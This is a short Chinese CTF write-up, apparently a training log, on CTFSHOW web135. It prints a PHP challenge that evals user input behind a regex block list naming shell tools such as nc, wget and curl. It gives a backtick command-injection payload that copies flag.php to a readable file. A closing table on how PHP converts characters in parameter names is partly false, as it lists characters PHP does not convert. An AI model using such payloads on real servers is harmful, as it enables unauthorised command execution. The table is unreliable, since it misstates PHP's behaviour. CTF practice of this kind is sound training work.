作者:[局外人]
分类:[技术分析]
标签:CTF SHOW
刷题
新手
阅读时长:约 [2] 分钟
引言(前言)
日常CTF 做题记录,日常做题分享,希望能积累更多的知识!!!
CTFSHOW web135
1.1 题目及分析
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){eval(substr($F,0,6));}else{die("师傅们居然**了前面的,那就来一个加强版吧");}
}
- 题目分析
- 此题主要是考察一个变量覆盖
1.2 思路
- 与之前
web133
可以用差不多的解法,在curl
中插入两个连续的'即可
- 但是我没有成功
- 后续看到其他解法,可以直接cp复制出来访问,这就很行
-playload:
?F=\
$F\+;cp+flag.php+1.txt
- 但是作为新手玩家,容易疑惑的是为什么这里有
+
,其实正常不用加号直接用空格式完全可以的,但是为什么+
也可以。这是因为+
在url中会被解析为空格
- 可以利用
burpsuite
或者自己编写php
代码验证,可以很清晰的看到+被URL encoding
解析成了空格
1.3 结果
大家多多尝试一下有没有更好的方法吧!
字符替换
在 PHP 中,当通过 GET/POST 接收请求参数时,参数名(key)中的特殊字符会被转换为合法的变量名格式。具体转换规则如下:
特殊字符 | 转换结果 | 说明 |
点号(.) | 下划线(_) | 例如 |
空格( ) | 下划线(_) | 例如 |
减号(-) | 下划线(_) | 例如 |
加号(+) | 下划线(_) | 注:URL 中 |
星号(*) | 下划线(_) | 例如 |
感叹号(!) | 下划线(_) | 例如 |
逗号(,) | 下划线(_) | 例如 |
分号(;) | 下划线(_) | 例如 |
冒号(:) | 下划线(_) | 例如 |
中括号([ ]) | 保持不变 | 用于标识数组,例如 |
关键说明:
- PHP 变量名规则要求只能包含字母、数字和下划线(且不能以数字开头),因此所有非字母、数字、下划线的字符都会被转换为下划线。
- 中括号(
[ ]
)是唯一例外,它们用于解析数组参数(如arr[key]=val
会被解析为关联数组),因此保持原样。 - 连续的特殊字符会被逐个转换,例如
user..name
会被解析为user__name
。
互动环节
- 各位大佬们是否有更优的实现方式?欢迎分享代码
- 评论区聊聊吧~